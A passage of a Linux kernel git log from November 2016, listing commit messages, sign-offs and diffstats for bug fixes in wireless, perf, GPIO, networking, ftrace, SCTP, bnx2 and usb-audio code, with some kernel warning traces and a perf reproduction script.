10:27:52 2016 +0100 mac80211: update A-MPDU flag on tx dequeue The sequence number counter is used to derive the starting sequence number. Since that counter is updated on tx dequeue, the A-MPDU flag needs to be up to date at the tme of dequeue as well. This patch prevents sending more A-MPDU frames after the session has been terminated and also ensures that aggregation starts right after the session has been established Fixes: bb42f2d13ffc ("mac80211: Move reorder-sensitive TX handlers to after TXQ dequeue") Signed-off-by: Felix Fietkau Acked-by: Toke Høiland-Jørgensen Signed-off-by: Johannes Berg net/mac80211/tx.c | 5 +++++ 1 file changed, 5 insertions(+) commit 8fdd136f2200e6b7237e7e48453f4a591d768e3e Author: Pedersen, Thomas Date: Mon Oct 31 11:28:40 2016 -0700 cfg80211: add bitrate for 20MHz MCS 9 Some drivers (ath10k) report MCS 9 @ 20MHz, which technically isn't defined. To get more meaningful value than 0 out of this however, just extrapolate a bitrate from ratio of MCS 7 and 9 in channels where it is allowed. Signed-off-by: Thomas Pedersen [add a comment about it in the code] Signed-off-by: Johannes Berg net/wireless/util.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 6c18a6b4e79953ba38bc110e1e42ac45a951b25f Author: Felix Fietkau Date: Thu Nov 3 12:12:47 2016 +0100 Revert "mac80211: allow using AP_LINK_PS with mac80211-generated TIM IE" This reverts commit c68df2e7be0c1238ea3c281fd744a204ef3b15a0. __sta_info_recalc_tim turns into a no-op if local->ops->set_tim is not set. This prevents the beacon TIM bit from being set for all drivers that do not implement this op (almost all of them), thus thoroughly essential AP mode powersave functionality. Cc: Emmanuel Grumbach Fixes: c68df2e7be0c ("mac80211: allow using AP_LINK_PS with mac80211-generated TIM IE") Signed-off-by: Felix Fietkau Signed-off-by: Johannes Berg net/mac80211/sta_info.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c8eaf3479e521e973eb2d4111b8ee8f5b7b564ab Author: Filip Matusiak Date: Wed Nov 2 10:04:26 2016 +0100 mac80211: Ignore VHT IE from peer with wrong rx_mcs_map This is a workaround for VHT-enabled STAs which break the spec and have the VHT-MCS Rx map filled in with value 3 for all eight spacial streams, an example is AR9462 in AP mode. As per spec, in section 22.1.1 Introduction to the VHT PHY A VHT STA shall support at least single spactial stream VHT-MCSs 0 to 7 (transmit and receive) in all supported channel widths. Some devices in STA mode will get firmware assert when trying to associate, examples are QCA9377 & QCA6174. Packet example of broken VHT Cap IE of AR9462: Tag: VHT Capabilities (IEEE Std 802.11ac/D3.1) Tag Number: VHT Capabilities (IEEE Std 802.11ac/D3.1) (191) Tag length: 12 VHT Capabilities Info: 0x00000000 VHT Supported MCS Set Rx MCS Map: 0xffff .... .... .... ..11 = Rx 1 SS: Not Supported (0x0003) .... .... .... 11.. = Rx 2 SS: Not Supported (0x0003) .... .... ..11 .... = Rx 3 SS: Not Supported (0x0003) .... .... 11.. .... = Rx 4 SS: Not Supported (0x0003) .... ..11 .... .... = Rx 5 SS: Not Supported (0x0003) .... 11.. .... .... = Rx 6 SS: Not Supported (0x0003) ..11 .... .... .... = Rx 7 SS: Not Supported (0x0003) 11.. .... .... .... = Rx 8 SS: Not Supported (0x0003) ...0 0000 0000 0000 = Rx Highest Long GI Data Rate (in Mb/s, 0 = subfield not in use): 0x0000 Tx MCS Map: 0xffff ...0 0000 0000 0000 = Tx Highest Long GI Data Rate (in Mb/s, 0 = subfield not in use): 0x0000 Signed-off-by: Filip Matusiak Signed-off-by: Johannes Berg net/mac80211/vht.c | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) commit 864c2357ca898c6171fe5284f5ecc795c8ce27a8 Author: David Carrillo-Cisneros Date: Tue Nov 1 11:52:58 2016 -0700 perf/core: Do not set cpuctx->cgrp for unscheduled cgroups Commit: db4a835601b7 ("perf/core: Set cgroup in CPU contexts for new cgroup events") failed to verify that event->cgrp is actually the scheduled cgroup in a CPU before setting cpuctx->cgrp. This patch fixes that. Now that there is a different path for scheduled and unscheduled cgroup, add a warning to catch when cpuctx->cgrp is still set after the last cgroup event has been unsheduled. To verify the bug: # Create 2 cgroups. mkdir /dev/cgroups/devices/g1 mkdir /dev/cgroups/devices/g2 # launch a task, bind it to a cpu and move it to g1 CPU=2 while :; do : ; done & P=$! taskset -pc $CPU $P echo $P > /dev/cgroups/devices/g1/tasks # monitor g2 (it runs no tasks) and observe output perf stat -e cycles -I 1000 -C $CPU -G g2 # time counts unit events 1.000091408 7,579,527 cycles g2 2.000350111 cycles g2 3.000589181 cycles g2 4.000771428 cycles g2 # note first line that displays that a task run in g2, despite # g2 having no tasks. This is because cpuctx->cgrp was wrongly # set when context of new event was installed. # After applying the fix we obtain the right output: perf stat -e cycles -I 1000 -C $CPU -G g2 # time counts unit events 1.000119615 cycles g2 2.000389430 cycles g2 3.000590962 cycles g2 Signed-off-by: David Carrillo-Cisneros Signed-off-by: Peter Zijlstra (Intel) Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Kan Liang Cc: Linus Torvalds Cc: Nilay Vaish Cc: Paul Turner Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vegard Nossum Link: http://lkml.kernel.org/r/1478026378-86083-1-git-send-email-davidcc@google.com Signed-off-by: Ingo Molnar kernel/events/core.c | 11 +++++++++++ 1 file changed, 11 insertions(+) commit 59c3b76cc61d1d676f965c192cc7969aa5cb2744 Author: Miklos Szeredi Date: Thu Aug 18 09:10:44 2016 +0200 fuse: fix fuse_write_end() if zero bytes were copied If pos is at the beginning of a page and copied is zero then page is not zeroed but is marked uptodate. Fix by skipping everything except unlock/put of page if zero bytes were copied. Reported-by: Al Viro Fixes: 6b12c1b37e55 ("fuse: Implement write_begin/write_end callbacks") Cc: # v3.15+ Signed-off-by: Miklos Szeredi fs/fuse/file.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 5bf7b6e86f29f064979d7b3e6dd21c5dd1feb855 Author: Loic Pallardy Date: Tue Nov 15 09:47:00 2016 +0100 ARM: dts: STiH410-b2260: Fix typo in spi0 chipselect definition Change cs-gpio to cs-gpios. Signed-off-by: Loic Pallardy Acked-by: Patrice Chotard arch/arm/boot/dts/stih410-b2260.dts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2ce9d2272b98743b911196c49e7af5841381c206 Author: Petr Vandrovec Date: Thu Nov 10 13:57:14 2016 -0800 Fix USB CB/CBI storage devices with CONFIG_VMAP_STACK=y Some code (all error handling) submits CDBs that are allocated on the stack. This breaks with CB/CBI code that tries to create URB directly from SCSI command buffer - which happens to be in vmalloced memory with vmalloced kernel stacks. Let's make copy of the command in usb_stor_CB_transport. Signed-off-by: Petr Vandrovec Cc: stable Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman drivers/usb/storage/transport.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit c0a36013639b06760f7c2c21a8387eac855432e1 Author: Benjamin Herrenschmidt Date: Tue Nov 15 15:28:33 2016 +1100 powerpc/64: Fix setting of AIL in hypervisor mode Commit d3cbff1b5 "powerpc: Put exception configuration in a common place" broke the setting of the AIL bit (which enables taking exceptions with the MMU still on) on all processors, moving it incorrectly to a function called only on the boot CPU. This was correct for the guest case but not when running in hypervisor mode. This fixes it by partially reverting that commit, putting the setting back in cpu_ready_for_interrupts() Fixes: d3cbff1b5a90 ("powerpc: Put exception configuration in a common place") Cc: stable@vger.kernel.org # v4.8+ Signed-off-by: Benjamin Herrenschmidt Signed-off-by: Michael Ellerman arch/powerpc/kernel/setup_64.c | 20 ++++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) commit 220a04f0e53276eb3da666174bcf97489fd8644e Author: Linus Walleij Date: Mon Nov 14 15:10:29 2016 +0100 gpio: tc3589x: fix up .get_direction() The bit in the TC3589x direction register is 0 for input and 1 for output, but the gpiolib expects the reverse. Fix up the logic. Cc: stable@vger.kernel.org Fixes: 14063d71e5e6 ("gpio: tc3589x: add .get_direction() and small cleanup") Signed-off-by: Linus Walleij drivers/gpio/gpio-tc3589x.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 60f8339eb388df8a46f8eb4282ff0e15f08f218c Author: Linus Walleij Date: Sat Nov 12 15:01:09 2016 +0100 gpio: do not double-check direction on sleeping chips When locking a GPIO line as IRQ, we go to lengths to double-check that the line is really set as input before marking it as used for IRQ. This is not good on GPIO chips that can sleep, because this function is called in IRQ-safe context. Just skip this if it can't be checked quickly. Currently this happens on sleeping expanders such as STMPE or TC3589x: BUG: scheduling while atomic: swapper/1/0x00000002 Modules linked in: CPU: 0 PID: 1 Comm: swapper Not tainted 4.9.0-rc1+ #38 Hardware name: Nomadik STn8815 [] (unwind_backtrace) from [] (show_stack+0x10/0x14) [] (show_stack) from [] (__schedule_bug+0x54/0x80) [] (__schedule_bug) from [] (__schedule+0x3a0/0x460) [] (__schedule) from [] (schedule+0x54/0xb8) (...) This patch fixes that problem and relies on the direction read from the chip when it was added. Cc: stable@vger.kernel.org Fixes: 9c10280d85c1 ("gpio: flush direction status in gpiochip_lock_as_irq()") Cc: Patrice Chotard Signed-off-by: Linus Walleij drivers/gpio/gpiolib.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit d8188b10087cc78cd1e23c9b7525378da325626a Merge: 8a57646d c733ab3 Author: James Bottomley Date: Mon Nov 14 22:55:51 2016 -0800 Merge remote-tracking branch 'mkp-scsi/4.9/scsi-fixes' into fixes commit c733ab3512431436a26e0381829b45794cb13fb0 Author: Mauricio Faria de Oliveira Date: Mon Nov 14 19:26:22 2016 -0200 scsi: qla2xxx: do not abort all commands in the adapter during EEH recovery The previous commit 1535aa75a3d8 ("qla2xxx: fix invalid DMA access after command aborts in PCI device remove") introduced a regression during an EEH recovery, since the change to the qla2x00_abort_all_cmds() function calls qla2xxx_eh_abort(), which verifies the EEH recovery condition but handles it heavy-handed. (commit a465537ad1a4 "qla2xxx: Disable the adapter and skip error recovery in case of register disconnect.") This problem warrants a more general/optimistic solution right into qla2xxx_eh_abort() (eg in case a real command abort arrives during EEH recovery, or if it takes long enough to trigger command aborts); but it's still worth to add a check to ensure the code added by the previous commit is correct and contained within its owner function. This commit just adds a 'if (!ha->flags.eeh_busy)' check around it. (ahem; a trivial fix for this -rc series; sorry for this oversight.) With it applied, both PCI device remove and EEH recovery works fine. Fixes: 1535aa75a3d8 ("scsi: qla2xxx: fix invalid DMA access after command aborts in PCI device remove") Signed-off-by: Mauricio Faria de Oliveira Acked-by: Himanshu Madhani Signed-off-by: Martin K. Petersen drivers/scsi/qla2xxx/qla_os.c | 21 +++++++++++++-------- 1 file changed, 13 insertions(+), 8 deletions(-) commit e76d21c40bd6c67fd4e2c1540d77e113df962b4d Merge: d4b9532 ac571de Author: Linus Torvalds Date: Mon Nov 14 14:15:53 2016 -0800 Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net Pull networking fixes from David Miller: 1) Fix off by one wrt. indexing when dumping /proc/net/route entries, from Alexander Duyck. 2) Fix lockdep splats in iwlwifi, from Johannes Berg. 3) Cure panic when inserting certain netfilter rules when NFT_SET_HASH is disabled, from Liping Zhang. 4) Memory leak when nft_expr_clone() fails, also from Liping Zhang. 5) Disable UFO when path will apply IPSEC tranformations, from Jakub Sitnicki. 6) Don't bogusly double cwnd in dctcp module, from Florian Westphal. 7) skb_checksum_help() should never actually use the value "0" for the resulting checksum, that has a special meaning, use CSUM_MANGLED_0 instead. From Eric Dumazet. 8) Per-tx/rx queue statistic strings are wrong in qed driver, fix from Yuval MIntz. 9) Fix SCTP reference counting of associations and transports in sctp_diag. From Xin Long. 10) When we hit ip6tunnel_xmit() we could have come from an ipv4 path in a previous layer or similar, so explicitly clear the ipv6 control block in the skb. From Eli Cooper. 11) Fix bogus sleeping inside of inet_wait_for_connect(), from WANG Cong. 12) Correct deivce ID of T6 adapter in cxgb4 driver, from Hariprasad Shenai. 13) Fix potential access past the end of the skb page frag array in tcp_sendmsg(). From Eric Dumazet. 14) 'skb' can legitimately be NULL in inet{,6}_exact_dif_match(). Fix from David Ahern. 15) Don't return an error in tcp_sendmsg() if we wronte any bytes successfully, from Eric Dumazet. 16) Extraneous unlocks in netlink_diag_dump(), we removed the locking but forgot to purge these unlock calls. From Eric Dumazet. 17) Fix memory leak in error path of __genl_register_family(). We leak the attrbuf, from WANG Cong. 18) cgroupstats netlink policy table is mis-sized, from WANG Cong. 19) Several XDP bug fixes in mlx5, from Saeed Mahameed. 20) Fix several device refcount leaks in network drivers, from Johan Hovold. 21) icmp6_send() should use skb dst device not skb->dev to determine L3 routing domain. From David Ahern. 22) ip_vs_genl_family sets maxattr incorrectly, from WANG Cong. 23) We leak new macvlan port in some cases of maclan_common_netlink() errors. Fix from Gao Feng. 24) Similar to the icmp6_send() fix, icmp_route_lookup() should determine L3 routing domain using skb_dst(skb)->dev not skb->dev. Also from David Ahern. 25) Several fixes for route offloading and FIB notification handling in mlxsw driver, from Jiri Pirko. 26) Properly cap __skb_flow_dissect()'s return value, from Eric Dumazet. 27) Fix long standing regression in ipv4 redirect handling, wrt. validating the new neighbour's reachability. From Stephen Suryaputra Lin. 28) If sk_filter() trims the packet excessively, handle it reasonably in tcp input instead of exploding. From Eric Dumazet. 29) Fix handling of napi hash state when copying channels in sfc driver, from Bert Kenward. * git://git.kernel.org/pub/scm/linux/kernel/git/davem/net: (121 commits) mlxsw: spectrum_router: Flush FIB tables during fini net: stmmac: Fix lack of link transition for fixed PHYs sctp: change sk state only when it has assocs in sctp_shutdown bnx2: Wait for in-flight DMA to complete at probe stage Revert "bnx2: Reset device during driver initialization" ps3_gelic: fix spelling mistake in debug message net: ethernet: ixp4xx_eth: fix spelling mistake in debug message ibmvnic: Fix size of debugfs name buffer ibmvnic: Unmap ibmvnic_statistics structure sfc: clear napi_hash state when copying channels mlxsw: spectrum_router: Correctly dump neighbour activity mlxsw: spectrum: Fix refcount bug on span entries bnxt_en: Fix VF virtual link state. bnxt_en: Fix ring arithmetic in bnxt_setup_tc(). Revert "include/uapi/linux/atm_zatm.h: include linux/time.h" tcp: take care of truncations done by sk_filter() ipv4: use new_gw for redirect neigh lookup r8152: Fix error path in open function net: bpqether.h: remove if_ether.h guard net: __skb_flow_dissect() must cap its return value ... commit d4b9532367c77a35849d6cce491a3ca474c519cf Merge: ac38126 e123386 Author: Linus Torvalds Date: Mon Nov 14 14:07:13 2016 -0800 Merge branch 'stable' of git://git.kernel.org/pub/scm/linux/kernel/git/cmetcalf/linux-tile Pull arch/tile bugfix from Chris Metcalf: "This just fixes an incompatibility with tile __ro_after_init" * 'stable' of git://git.kernel.org/pub/scm/linux/kernel/git/cmetcalf/linux-tile: tile: handle __ro_after_init like parisc does commit ac38126b2b9533b9e660d25308091bf4bb395726 Merge: ee2bd21 efce21f Author: Linus Torvalds Date: Mon Nov 14 14:00:29 2016 -0800 Merge tag 'rtc-4.9-2' of git://git.kernel.org/pub/scm/linux/kernel/git/abelloni/linux Pull RTC fixes from Alexandre Belloni: "Here are a few driver fixes for 4.9. It has been calm for a while so I don't expect more for this cycle. Drivers: - asm9260: fix module autoload - cmos: fix crashes - omap: fix clock handling" * tag 'rtc-4.9-2' of git://git.kernel.org/pub/scm/linux/kernel/git/abelloni/linux: rtc: omap: prevent disabling of clock/module during suspend rtc: omap: Fix selecting external osc rtc: cmos: Don't enable interrupts in the middle of the interrupt handler rtc: cmos: remove all __exit_p annotations rtc: asm9260: fix module autoload commit e123386bc31bbf467dc558f2f919de0b8b4ba58c Author: Chris Metcalf Date: Mon Nov 7 14:32:02 2016 -0500 tile: handle __ro_after_init like parisc does The tile architecture already marks RO_DATA as read-only in the kernel, so grouping RO_AFTER_INIT_DATA with RO_DATA, as is done by default, means the kernel faults in init when it tries to write to RO_AFTER_INIT_DATA. For now, just arrange that __ro_after_init is handled like __write_once, i.e. __read_mostly. Reviewed-by: Kees Cook Signed-off-by: Chris Metcalf arch/tile/include/asm/cache.h | 3 +++ 1 file changed, 3 insertions(+) commit ac571de999e14b87890cb960ad6f03fbdde6abc8 Author: Ido Schimmel Date: Mon Nov 14 11:26:32 2016 +0100 mlxsw: spectrum_router: Flush FIB tables during fini Since commit b45f64d16d45 ("mlxsw: spectrum_router: Use FIB notifications instead of switchdev calls") we reflect to the device the entire FIB table and not only FIBs that point to netdevs created by the driver. During module removal, FIBs of the second type are removed following NETDEV_UNREGISTER events sent. The other FIBs are still present in both the driver's cache and the device's table. Fix this by iterating over all the FIB tables in the device and flush them. There's no need to take locks, as we're the only writer. Fixes: b45f64d16d45 ("mlxsw: spectrum_router: Use FIB notifications instead of switchdev calls") Signed-off-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/spectrum_router.c | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) commit c51e424dc79e1428afc4d697cdb6a07f7af70cbf Author: Florian Fainelli Date: Sun Nov 13 17:50:35 2016 -0800 net: stmmac: Fix lack of link transition for fixed PHYs Commit 52f95bbfcf72 ("stmmac: fix adjust link call in case of a switch is attached") added some logic to avoid polling the fixed PHY and therefore invoking the adjust_link callback more than once, since this is a fixed PHY and link events won't be generated. This works fine the first time, because we start with phydev->irq = PHY_POLL, so we call adjust_link, then we set phydev->irq = PHY_IGNORE_INTERRUPT and we stop polling the PHY. Now, if we called ndo_close(), which calls both phy_stop() and does an explicit netif_carrier_off(), we end up with a link down. Upon calling ndo_open() again, despite starting the PHY state machine, we have PHY_IGNORE_INTERRUPT set, and we generate no link event at all, so the link is permanently down. Fixes: 52f95bbfcf72 ("stmmac: fix adjust link call in case of a switch is attached") Signed-off-by: Florian Fainelli Acked-by: Giuseppe Cavallaro Signed-off-by: David S. Miller drivers/net/ethernet/stmicro/stmmac/stmmac_main.c | 7 +++++++ 1 file changed, 7 insertions(+) commit 546fece4eae871f033925ccf0ff2b740725ae915 Author: Steven Rostedt (Red Hat) Date: Mon Nov 14 16:31:49 2016 -0500 ftrace: Add more checks for FTRACE_FL_DISABLED in processing ip records When a module is first loaded and its function ip records are added to the ftrace list of functions to modify, they are set to DISABLED, as their text is still in a read only state. When the module is fully loaded, and can be updated, the flag is cleared, and if their's any functions that should be tracing them, it is updated at that moment. But there's several locations that do record accounting and should ignore records that are marked as disabled, or they can cause issues. Alexei already fixed one location, but others need to be addressed. Cc: stable@vger.kernel.org Fixes: b7ffffbb46f2 "ftrace: Add infrastructure for delayed enabling of module functions" Reported-by: Alexei Starovoitov Signed-off-by: Steven Rostedt kernel/trace/ftrace.c | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) commit 977c1f9c8c022d0173181766b34a0db3705265a4 Author: Alexei Starovoitov Date: Mon Nov 7 15:14:20 2016 -0800 ftrace: Ignore FTRACE_FL_DISABLED while walking dyn_ftrace records ftrace_shutdown() checks for sanity of ftrace records and if dyn_ftrace->flags is not zero, it will warn. It can happen that 'flags' are set to FTRACE_FL_DISABLED at this point, since some module was loaded, but before ftrace_module_enable() cleared the flags for this module. In other words the module.c is doing: ftrace_module_init(mod); // calls ftrace_update_code() that sets flags=FTRACE_FL_DISABLED ... // here ftrace_shutdown() is called that warns, since err = prepare_coming_module(mod); // didn't have a chance to clear FTRACE_FL_DISABLED Fix it by ignoring disabled records. It's similar to what __ftrace_hash_rec_update() is already doing. Link: http://lkml.kernel.org/r/1478560460-3818619-1-git-send-email-ast@fb.com Cc: stable@vger.kernel.org Fixes: b7ffffbb46f2 "ftrace: Add infrastructure for delayed enabling of module functions" Signed-off-by: Alexei Starovoitov Signed-off-by: Steven Rostedt kernel/trace/ftrace.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5bf35ddfee052d44f39ebaa395d87101c8918405 Author: Xin Long Date: Sun Nov 13 21:44:37 2016 +0800 sctp: change sk state only when it has assocs in sctp_shutdown Now when users shutdown a sock with SEND_SHUTDOWN in sctp, even if this sock has no connection (assoc), sk state would be changed to SCTP_SS_CLOSING, which is not as we expect. Besides, after that if users try to listen on this sock, kernel could even panic when it dereference sctp_sk(sk)->bind_hash in sctp_inet_listen, as bind_hash is null when sock has no assoc. This patch is to move sk state change after checking sk assocs is not empty, and also merge these two if() conditions and reduce indent level. Fixes: d46e416c11c8 ("sctp: sctp should change socket state when shutdown is received") Reported-by: Andrey Konovalov Tested-by: Andrey Konovalov Signed-off-by: Xin Long Acked-by: Marcelo Ricardo Leitner Acked-by: Neil Horman Signed-off-by: David S. Miller net/sctp/socket.c | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) commit 193f5122878c5d4d30dbfc9128affe58bdd18206 Merge: 7020637 6df7786 Author: David S. Miller Date: Mon Nov 14 16:20:54 2016 -0500 Merge branch 'bnx2-kdump-fix' Baoquan He says: ==================== bnx2: Wait for in-flight DMA to complete at probe stage This is v2 post. In commit 3e1be7a ("bnx2: Reset device during driver initialization"), firmware requesting code was moved from open stage to probe stage. The reason is in kdump kernel hardware iommu need device be reset in driver probe stage, otherwise those in-flight DMA from 1st kernel will continue going and look up into the newly created io-page tables. However bnx2 chip resetting involves firmware requesting issue, that need be done in open stage. Michale Chan suggested we can just wait for the old in-flight DMA to complete at probe stage, then though without device resetting, we don't need to worry the old in-flight DMA could continue looking up the newly created io-page tables. v1->v2: Michael suggested to wait for the in-flight DMA to complete at probe stage. So give up the old method of trying to reset chip at probe stage, take the new way accordingly. ==================== Signed-off-by: David S. Miller commit 6df77862f63f389df3b1ad879738e04440d7385d Author: Baoquan He Date: Sun Nov 13 13:01:33 2016 +0800 bnx2: Wait for in-flight DMA to complete at probe stage In-flight DMA from 1st kernel could continue going in kdump kernel. New io-page table has been created before bnx2 does reset at open stage. We have to wait for the in-flight DMA to complete to avoid it look up into the newly created io-page table at probe stage. Suggested-by: Michael Chan Signed-off-by: Baoquan He Acked-by: Michael Chan Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnx2.c | 38 ++++++++++++++++++++++++++++++------ 1 file changed, 32 insertions(+), 6 deletions(-) commit 5d0d4b91bf627f14f95167b738d524156c9d440b Author: Baoquan He Date: Sun Nov 13 13:01:32 2016 +0800 Revert "bnx2: Reset device during driver initialization" This reverts commit 3e1be7ad2d38c6bd6aeef96df9bd0a7822f4e51c. When people build bnx2 driver into kernel, it will fail to detect and load firmware because firmware is contained in initramfs and initramfs has not been uncompressed yet during do_initcalls. So revert commit 3e1be7a and work out a new way in the later patch. Signed-off-by: Baoquan He Acked-by: Paul Menzel Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnx2.c | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) commit 6ca595a70bc46e1a0eea3ee0681360f41555bfd9 Author: Hoan Tran Date: Mon Nov 14 11:19:02 2016 -0800 mailbox: PCC: Fix lockdep warning when request PCC channel This patch fixes the lockdep warning below DEBUG_LOCKS_WARN_ON(irqs_disabled_flags(flags)) ------------[ cut here ]------------ WARNING: CPU: 1 PID: 1 at linux-next/kernel/locking/lockdep.c:2876 lockdep_trace_alloc+0xe0/0xf0 Modules linked in: CPU: 1 PID: 1 Comm: swapper/0 Not tainted 4.8.0-11756-g86c5152 #46 ... Call trace: Exception stack(0xffff8007da837890 to 0xffff8007da8379c0) 7880: ffff8007da834000 0001000000000000 78a0: ffff8007da837a70 ffff0000081111a0 00000000600000c5 000000000000003d 78c0: 9374bc6a7f3c7832 0000000000381878 ffff000009db7ab8 000000000000002f 78e0: ffff00000811aabc ffff000008be2548 ffff8007da837990 ffff00000811adf8 7900: ffff8007da834000 00000000024080c0 00000000000000c0 ffff000009021000 7920: 0000000000000000 0000000000000000 ffff000008c8f7c8 ffff8007da579810 7940: 000000000000002f ffff8007da858000 0000000000000000 0000000000000001 7960: 0000000000000001 0000000000000000 ffff00000811a468 0000000000000002 7980: 656c62617369645f 0000000000038187 00000000000000ee ffff8007da837850 79a0: ffff000009db50c0 ffff000009db569d 0000000000000006 ffff000089db568f [] lockdep_trace_alloc+0xe0/0xf0 [] __kmalloc_track_caller+0x50/0x250 [] devres_alloc_node+0x28/0x60 [] devm_request_threaded_irq+0x50/0xe0 [] pcc_mbox_request_channel+0x110/0x170 [] acpi_cppc_processor_probe+0x264/0x414 [] __acpi_processor_start+0x28/0xa0 [] acpi_processor_start+0x44/0x54 [] driver_probe_device+0x1fc/0x2b0 [] __driver_attach+0xb4/0xc0 [] bus_for_each_dev+0x5c/0xa0 [] driver_attach+0x20/0x30 [] bus_add_driver+0x110/0x230 [] driver_register+0x60/0x100 [] acpi_processor_driver_init+0x2c/0xb0 [] do_one_initcall+0x38/0x130 [] kernel_init_freeable+0x210/0x2b4 [] kernel_init+0x10/0x110 [] ret_from_fork+0x10/0x50 It's because the spinlock inside pcc_mbox_request_channel() is kept too long. This patch releases spinlock before request_irq() and free_irq() to fix this issue as spinlock is only needed to protect the channel data. Signed-off-by: Hoan Tran Reviewed-by: Prashanth Prakash Signed-off-by: Rafael J. Wysocki drivers/mailbox/pcc.c | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) commit 6ff1a25318ebf688ef9593fe09cd449f6fb4ad31 Author: Takashi Iwai Date: Mon Nov 14 21:46:47 2016 +0100 ALSA: usb-audio: Fix use-after-free of usb_device at disconnect The usb-audio driver implements the deferred device disconnection for the device in use. In this mode, the disconnection callback returns immediately while the actual ALSA card object removal happens later when all files get closed. As Shuah reported, this code flow, however, leads to a use-after-free, detected by KASAN: BUG: KASAN: use-after-free in snd_usb_audio_free+0x134/0x160 [snd_usb_audio] at addr ffff8801c863ce10 Write of size 8 by task pulseaudio/2244 Call Trace: [] dump_stack+0x67/0x94 [] kasan_object_err+0x21/0x70 [] kasan_report_error+0x1fa/0x4e0 [] ? kasan_slab_free+0x87/0xb0 [] __asan_report_store8_noabort+0x43/0x50 [] ? snd_usb_audio_free+0x134/0x160 [snd_usb_audio] [] snd_usb_audio_free+0x134/0x160 [snd_usb_audio] [] snd_usb_audio_dev_free+0x31/0x40 [snd_usb_audio] [] __snd_device_free+0x12a/0x210 [] snd_device_free_all+0x85/0xd0 [] release_card_device+0x34/0x130 [] device_release+0x76/0x1e0 [] kobject_release+0x107/0x370 ..... Object at ffff8801c863cc80, in cache kmalloc-2048 size: 2048 Allocated: [] save_stack_trace+0x2b/0x50 [] save_stack+0x46/0xd0 [] kasan_kmalloc+0xad/0xe0 [] kmem_cache_alloc_trace+0xfa/0x240 [] usb_alloc_dev+0x57/0xc90 [] hub_event+0xf1d/0x35f0 .... Freed: [] save_stack_trace+0x2b/0x50 [] save_stack+0x46/0xd0 [] kasan_slab_free+0x71/0xb0 [] kfree+0xd9/0x280 [] usb_release_dev+0xde/0x110 [] device_release+0x76/0x1e0 .... It's the code trying to clear drvdata of the assigned usb_device where the usb_device itself was already released in usb_release_dev() after the disconnect callback. This patch fixes it by checking whether the code path is via the disconnect callback, i.e. chip->shutdown flag is set. Fixes: 79289e24194a ('ALSA: usb-audio: Refer to chip->usb_id for quirks...') Reported-and-tested-by: Shuah Khan Cc: # v4.6+ Signed-off-by: Takashi Iwai sound/usb/card.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 1bc2f5fac34535aeb3878ce32a762a221be7a851 Author: H. Nikolaus Schaller Date: Mon Nov 14 12:55:15 2016 +0100 ARM: dts: omap5: board-common: fix wrong SMPS6 (VDD-DDR3) voltage DDR3L is usually specified as JEDEC standard 1.35V(1.28V~1.45V) & 1.5V(1.425V~1.575V) Therefore setting smps6 regulator to 1.2V is definitively below minimum. It appears that real world chips are more forgiving than data sheets indicate, but let's set the regulator right. Note: a board that uses other voltages (DDR with 1.5V) can overwrite by referencing &smps6_reg. Signed-off-by: H. Nikolaus Schaller Signed-off-by: Tony Lindgren arch/arm/boot/dts/omap5-board-common.dtsi | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 709fb1f961ea5c287107c3f903e81c9529224c8b Author: Max Filippov Date: Mon Nov 14 12:31:49 2016 -0800 xtensa: wire up new pkey_{mprotect,alloc,free} syscalls Signed-off-by: Max Filippov arch/xtensa/include/uapi/asm/unistd.h | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit e2174b0c24caca170ca61eda2ae49c9561ff8896 Author: Rafael J. Wysocki Date: Mon Nov 14 20:56:17 2016 +0100 Revert "ACPICA: FADT support cleanup" Pavel Machek reports that commit 6ea8c546f365 (ACPICA: FADT support cleanup) breaks thermal management on his Thinkpad X60 and T40p, so revert it. Link: https://bugzilla.kernel.org/show_bug.cgi?id=187311 Fixes: 6ea8c546f365 (ACPICA: FADT support cleanup) Reported-by: Pavel Machek Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/tbfadt.c | 10 ++- include/acpi/actbl.h | 164 ++++++++++++++++++------------------------- 2 files changed, 74 insertions(+), 100 deletions(-) commit 87a349f9cc0908bc0cfac0c9ece3179f650ae95a Author: Thomas Tai Date: Fri Nov 11 16:41:00 2016 -0800 sparc64: fix compile warning section mismatch in find_node() A compile warning is introduced by a commit to fix the find_node(). This patch fix the compile warning by moving find_node() into __init section. Because find_node() is only used by memblock_nid_range() which is only used by a __init add_node_ranges(). find_node() and memblock_nid_range() should also be inside __init section. Signed-off-by: Thomas Tai Signed-off-by: David S. Miller arch/sparc/mm/init_64.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 7020637bdf59589a403e01aca128bef643404317 Author: Colin Ian King Date: Sat Nov 12 17:20:30 2016 +0000 ps3_gelic: fix spelling mistake in debug message Trivial fix to spelling mistake "unmached" to "unmatched" in debug message. Signed-off-by: Colin Ian King Signed-off-by: David S. Miller drivers/net/ethernet/toshiba/ps3_gelic_wireless.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 